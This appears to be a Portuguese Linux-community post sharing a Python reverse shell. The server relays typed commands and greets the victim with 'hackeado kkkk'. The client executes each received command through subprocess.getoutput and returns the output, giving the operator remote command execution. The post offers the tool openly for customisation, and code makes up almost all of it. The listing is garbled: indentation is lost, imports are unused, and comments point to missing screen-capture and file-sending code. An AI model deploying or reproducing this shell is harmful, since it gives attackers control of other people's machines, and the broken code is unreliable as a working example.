Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.213 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3
import socket
import sys
import subprocess
import threading
import tqdm
import os
import cv2
import numpy as np
import pyautogui
buffer = 4096
# display screen resolution, get it from your OS settings
# define the codec
# create the video write object
if len(sys.argv) < 2:
sys.exit
quit()
if sys.argv[1] == '-h':
print("""[host]:[port]
-l = host
-p = porta
example ./netcatt.py -h 192.168.0.1 -p 2000""")
sys.exit()
quit()
print("""[host] [port]""")
a = input('clien, ou server: ')
if sys.argv[1] == '-l':
host = str(sys.argv[2])
if sys.argv[3] == '-p':
port = int(sys.argv[4])
s = socket.socket()
if a in 'Ss':
s.bind((host,port))
s.listen(5)
print(f'listndo {host}:{port}')
client_socket, client_adress = s.accept()
message = 'hackeado kkkk'.encode()
client_socket.send(message)
while True:
command = input('comando: ')
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(buffer).decode()
print(results)
client_socket.close()
s.close
if a in 'cC':
s.connect((host, port))
message = s.recv(buffer).decode()
print('server: ', message)
# start sending the file
while True:
# receive the command from the server
command = s.recv(buffer).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
if s.close:
print('-'*20, 'fim', '-'*18)
ArpRequest - requisição arp para endereço físico
B.S.A.N.S. - Break Security - Automated Network Scanner [PARTE 1]
Aplicação gráfica para Wake-on-LAN com Python 3 + GUI Tk/Tcl
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
Ubunto não reconhece rede ethernet (0)
Secure boot, artigo interessante, nada técnico. (3)
Instalação dualboot Windows 11 e Debian 13 (11)









